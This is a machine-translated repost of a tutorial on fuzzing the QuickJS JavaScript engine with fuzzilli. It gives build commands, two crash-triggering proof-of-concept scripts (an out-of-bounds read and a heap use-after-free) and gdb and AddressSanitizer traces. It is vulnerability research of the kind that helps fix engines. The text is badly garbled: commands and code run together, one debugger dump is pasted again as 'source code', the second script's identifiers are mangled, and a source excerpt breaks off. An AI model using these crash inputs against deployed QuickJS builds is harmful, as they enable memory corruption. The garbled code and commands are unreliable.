Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use fuzzilli for Fuzzing and vulnerability analysis of Javascript engine QuickJS

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

Use fuzzilli to Javascript engine QuickJS for Fuzzing and vulnerability analysis is how, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain in detail for you, people with this need can come to learn, I hope you can get something.

Overview

Javascript parsing engine has a lot of application examples both on PC and mobile, even the newly released Hongmeng OS 2.0 uses JS parsing engine as the intermediate interaction between the upper layer and the bottom of the system.

The Aurora Infinite Dimension Array team has done the corresponding vulnerability mining work on the emerging projects in the JS parsing engine, and analyzed several security vulnerabilities.

We use Fuzzer-fuzzilli, Google's open source Javascript engine, to Fuzzing QuickJS to determine the vulnerability trigger process and vulnerability code.

Build fuzzilli environment

Fuzzilli is an open source JavaScript fuzziness testing tool from Google, written by SamuelGro ²and developed in swift language.

Project address: https://github.com/googleprojectzero/fuzzilli/

1. Download and install swift

Go to the official website to download the Linux executable file, which can be decompressed and run directly.

Official website: https://swift.org/download/#releases

For example: https://swift.org/builds/swift-5.3-release/ubuntu1804/swift-5.3-RELEASE/swift-5.3-RELEASE-ubuntu18.04.tar.gz

two。 Download and compile the fuzzilli$ git clone https://github.com/googleprojectzero/fuzzilli.git$ cd fuzzilli$ swift build-c release-Xlinker='-lrt'Fuzz QuickJS engine

QuickJS is a small and embeddable Javascript engine that supports the ES2020 specification, including modules, asynchronous generators, and agents.

1. Compile QuickJS

Using fuzzilli for fuzzy testing requires some modifications to the corresponding JS engine source code. Fuzzilli has released patch scripts for some common JS engines, and QuickJS's patch scripts are in the directory / fuzzilli/Targets/QJS/Patches:

$cd fuzzilli/Targets/QJS$ git clone https://github.com/horhof/quickjs.git$ cd quickjs$ git checkout c389f9594e83776ffb86410016959a7676728bf9-b fuzz$ cp.. / Patches/Fuzzilli-instrumentation-for-QJS.patch. $patch-p1

< Fuzzilli-instrumentation-for-QJS.patch$ make2. 开始Fuzz$ sudo sysctl -w 'kernel.core_pattern=|/bin/false' # 首次运行$ swift run -c release -Xlinker='-lrt' FuzzilliCli --profile=qjs --storagePath=Targets/QJS/out Targets/QJS/quickjs/qjsCrash 分析 通过对QuickJS发布版v2020-07-05(最新版是v2020-09-06)进行Fuzz得到三个Crash。 1. Memory_corruption_JS_CallInternal.lto_priv.135Memory_corruption_JS_CallInternal.lto_priv.135.js var v4 = [1337];var v5 = {length:"65537"};var v8 = Function.apply(v4,v5);var v10 = new Promise(v8); 利用gdb加载调试: $ gdb -q -args ./qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js Reading symbols from ./qjs...done.(gdb) rStarting program: /home/test/JS/QuickJS-20200705/qjs ../Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Program received signal SIGSEGV, Segmentation fault.0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805warning: Source file is more recent than executable.16805 sp[0] = JS_DupValue(ctx, arg_buf[idx]);(gdb) bt#0 0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805#1 0x00005555555a42b4 in JS_Call (argv=0x7fffffffd370, argc=2, this_obj=..., func_obj=..., ctx=0x555555646c90) at quickjs.c:45944#2 js_promise_constructor (ctx=0x555555646c90, new_target=..., argc=, argv=) at quickjs.c:45944#3 0x00005555555e08aa in js_call_c_function (ctx=, func_obj=..., this_obj=..., argc=, argv=0x7fffffffd4f0, flags=1) at quickjs.c:15861#4 0x00005555555e3848 in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x0, flags=2) at quickjs.c:16444#5 0x00005555555d8ac0 in JS_CallFree (ctx=0x555555646c90, func_obj=..., this_obj=..., argc=, argv=0x0) at quickjs.c:18514#6 0x00005555555c15bd in JS_EvalFunctionInternal (ctx=ctx@entry=0x555555646c90, fun_obj=..., this_obj=..., var_refs=var_refs@entry=0x0, sf=0x0) at quickjs.c:32945#7 0x00005555555ccb12 in __JS_EvalInternal (ctx=0x555555646c90, this_obj=..., input=, input_len=, filename=, flags=0, scope_idx=-1) at quickjs.c:33098#8 0x00005555555c148a in JS_EvalInternal (scope_idx=-1, flags=, filename=, input_len=, input=, this_obj=..., ctx=)at quickjs.c:33116#9 JS_Eval (ctx=, input=, input_len=, filename=, eval_flags=, ctx=, input=, input_len=, filename=, eval_flags=) at quickjs.c:33146#10 0x0000555555605a3c in eval_buf (ctx=0x555555646c90, buf=, buf_len=, filename=, eval_flags=) at qjs.c:67#11 0x0000555555605b4e in eval_file (ctx=, filename=, module=, filename=, ctx=, module=) at qjs.c:99#12 0x0000555555566525 in main (argc=, argv=) at qjs.c:503(gdb) x/3i $rip=>

0x5555555e5a7e: mov (% rax),% rdx0x5555555e5a81: mov 0x8 (% rax),% rax0x5555555e5a85: cmp $0xfffffffff4 gdb% eax (gdb) pamp x $rax$1 = 0x8000000fd360 (gdb) x/gx $rax0x8000000fd360: Cannot access memory at address 0x8000000fd360

The corresponding source code is:

$gdb-Q-args. / qjs.. / Crash/Memory_corruption_JS_CallInternal.lto_priv.135.js Reading symbols from. / qjs...done. (gdb) rStarting program: / home/test/JS/QuickJS-20200705/qjs. / Crash/Memory_corruption_JS_CallInternal.lto_ priv.135.js [Thread debugging using libthread_db enabled] Using host libthread_db library "/ lib/x86_64-linux-gnu/libthread_db.so.1" .Program received signal SIGSEGV Segmentation fault.0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805warning: Source file is more recent than executable.16805 sp [0] = JS_DupValue (ctx, arg_ buf [IDX]) (gdb) bt#0 0x00005555555e5a7e in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x7fffffffd370, flags=2) at quickjs.c:16805#1 0x00005555555a42b4 in JS_Call (argv=0x7fffffffd370, argc=2, this_obj=..., func_obj=..., ctx=0x555555646c90) at quickjs.c:45944#2 js_promise_constructor (ctx=0x555555646c90, new_target=..., argc=, argv=) at quickjs.c:45944#3 0x00005555555e08aa in js_call_c_function (ctx=, func_obj=... This_obj=..., argc=, argv=0x7fffffffd4f0, flags=1) at quickjs.c:15861#4 0x00005555555e3848 in JS_CallInternal (caller_ctx=0x555555646260, func_obj=..., this_obj=..., new_target=..., argc=2, argv=0x0, flags=2) at quickjs.c:16444#5 0x00005555555d8ac0 in JS_CallFree (ctx=0x555555646c90, func_obj=..., this_obj=..., argc=, argv=0x0) at quickjs.c:18514#6 0x00005555555c15bd in JS_EvalFunctionInternal (ctx=ctx@entry=0x555555646c90, fun_obj=..., this_obj=..., var_refs=var_refs@entry=0x0) Sf=0x0) at quickjs.c:32945#7 0x00005555555ccb12 in _ _ JS_EvalInternal (ctx=0x555555646c90, this_obj=..., input=, input_len=, filename=, flags=0, scope_idx=-1) at quickjs.c:33098#8 0x00005555555c148a in JS_EvalInternal (scope_idx=-1, flags=, filename=, input_len=, input=, this_obj=..., ctx=) at quickjs.c:33116#9 JS_Eval (ctx=, input=, input_len=, filename=, eval_flags=, ctx=, input=, input_len=, filename= Eval_flags=) at quickjs.c:33146#10 0x0000555555605a3c in eval_buf (ctx=0x555555646c90, buf=, buf_len=, filename=, eval_flags=) at qjs.c:67#11 0x0000555555605b4e in eval_file (ctx=, filename=, module=, filename=, ctx=, module=) at qjs.c:99#12 0x0000555555566525 in main (argc=, argv=) at qjs.c:503 (gdb) x rip= > 0x5555555e5a7e: mov (% rax),% rdx0x5555555e5a81: mov 0x8 (% rax),% rax0x5555555e5a85: cmp $0xfffffff4 % eax (gdb) pamp x $rax$1 = 0x8000000fd360 (gdb) x/gx $rax0x8000000fd360: Cannot access memory at address 0x8000000fd360

The idx size exceeds the length of the arg_buf, and then an out-of-bounds read occurs, causing the program to crash.

2. Heap-use-after-free_gc_decref_childHeap-use-after-free_gc_decref_child.jsvar v13 = RegExp (); var v15 = Symbol.search;var v19 = [1337]; function v27 (v28 meme v29 meme v30) {var v32 = {... v19 cognac v30}; var v44 = new Proxy (Promise,this); var v45 = v32.protoplast protozoa = v45.protoplast _ = v44th return v44;} function v46 (v47) {return v47;} var v54 = {get:v46} Var v56 = new Proxy (v27recoveryv54); function v57 (v58PowerV59) {var v61 = new Uint16Array (v56);} var v63 = new Promise (v57); var v64 = v13 [v15]; var v68 = v19.some (v64Magee v19)

Directly load and run trigger UAF:

$. / qjs.. / Crash/Heap-use-after-free_gc_decref_child.js = 76200==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000007640 at pc 0x563e23b9c6e4 bp 0x7ffc435b56b0 sp 0x7ffc435b56a0READ of size 4 at 0x607000007640 thread T0 0x563e23b9c6e3 in js_regexp_Symbol_search.lto_priv.363 (/ home/test/JS/QuickJS-20200705/qjs+0xf76e3) 0x607000007640 is located 0 bytes inside of 72-byte region [0x607000007640 author0x607000007688) freed by thread T0 here:#0 0x7f3b80489f10 in free (/ usr/lib/x86_64-linux-) Gnu/libasan.so.5+0xedf10) # 1 0x563e23c7cf61 in _ _ JS_FreeValueRT (/ home/test/JS/QuickJS-20200705/qjs+0x1d7f61) # 2 0x563e23c8d8f1 in JS_SetPropertyInternal (/ home/test/JS/QuickJS-20200705/qjs+0x1e88f1) # 3 0x563e23b9c02a in js_regexp_Symbol_search.lto_priv.363 (/ home/test/JS/QuickJS-20200705/qjs+0xf702a) previously allocated by thread T0 here:#0 0x7f3b8048a2d0 in _ interceptor_malloc (/ usr/lib/x86_64-linux-gnu/libasan.so.5+0xee2d0) # 1 0x563e23c95f34 in js_def_malloc (/ home/test/JS/QuickJS-20200705/qjs+0x1f0f34) # 2 0x563e23ca2c27 in js_malloc (/ home/test/JS/QuickJS-20200705/qjs+0x1fdc27) # 3 0x563e23ca2cea in JS_NewObjectFromShape.lto_priv.146 (/ home/test/JS/QuickJS-20200705/qjs+0x1fdcea) # 4 0x563e23ca37a3 in JS_NewObjectProtoClass (/ home/test/JS/QuickJS-20200705/qjs+0x1fe7a3) Breakpoint 2 JS_NewObjectProtoClass (ctx=0x615000000080, proto_val=... Class_id=48) at quickjs.c:4783#5 0x563e23b84cea in js_proxy_constructor (/ home/test/JS/QuickJS-20200705/qjs+0xdfcea) # 6 0x563e23c542d0 in js_call_c_function.lto_priv.540 (/ home/test/JS/QuickJS-20200705/qjs+0x1af2d0) # 7 0x563e23c2d171 in JS_CallConstructorInternal.lto_priv.156 (/ home/test/JS/QuickJS-20200705/qjs+0x188171) # 8 0x563e23c32115 in JS_CallInternal.lto_priv.93 (/ home/test/JS/QuickJS-20200705/qjs+0x18d115) # 9 0x563e23c1713c in JS_CallFree.lto_priv.341 (/ home/test/JS/QuickJS-20200705/qjs+0x17213c) # 10 0x563e23b7b5df in js_proxy_get (/ home/test/JS/QuickJS-20200705/qjs+0xd65df) # 11 0x563e23c8647a in JS_GetPropertyInternal (/ home/test/JS/QuickJS-20200705/qjs+0x1e147a) # 12 0x563e23b9bec6 in js_regexp_Symbol_search.lto_priv.363 (/ home/test/JS/QuickJS-20200705/qjs+0xf6ec6)

The vulnerability occurs in the js_regexp_Symbol_search function:

SUMMARY: AddressSanitizer: heap-use-after-free (/ home/test/JS/QuickJS-20200705/qjs+0xf76e3) in js_regexp_Symbol_search.lto_priv.363Shadow bytes around the buggy address:0x0c0e7fff8e70: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa0x0c0e7fff8e80: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa0x0c0e7fff8e90: 00 00 00 fa fa fa fa fa 00 000x0c0e7fff8ea0: 00 00 00 fa fa fa fa fa 00 00 000x0c0e7fff8eb0: 00 00 00 Fa fa fa fa fa fd fd fd fd fd fd= > 0x0c0e7fff8ec0: fd fd fd fa fa fa fa FAFD fd fd fd fd fd fd fd0x0c0e7fff8ed0: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa0x0c0e7fff8ee0: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa0x0c0e7fff8ef0: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa0x0c0e7fff8f00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd0x0c0e7fff8f10: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fdShadow byte legend (one shadow Byte represents 8 application bytes): Addressable: 00Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: faFreed heap region: fdStack left redzone: f1Stack mid redzone: f3Stack after return: f5Stack use after scope: f8Global redzone: f9Global init order: f6Poisoned by user: f7Container overflow: fcArray cookie: acIntra object redzone: bbASan internal: FeLeft alloca redzone: caRight alloca redzone: cb==76200==ABORTING

Objects are assigned in the JS_NewObjectFromShape function:

Static JSValue JS_NewObjectFromShape (JSContext * ctx, JSShape * sh, JSClassID class_id) {JSObject * pjs_trigger_gc (ctx- > rt, sizeof (JSObject)); p = js_malloc (ctx, sizeof (JSObject))

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report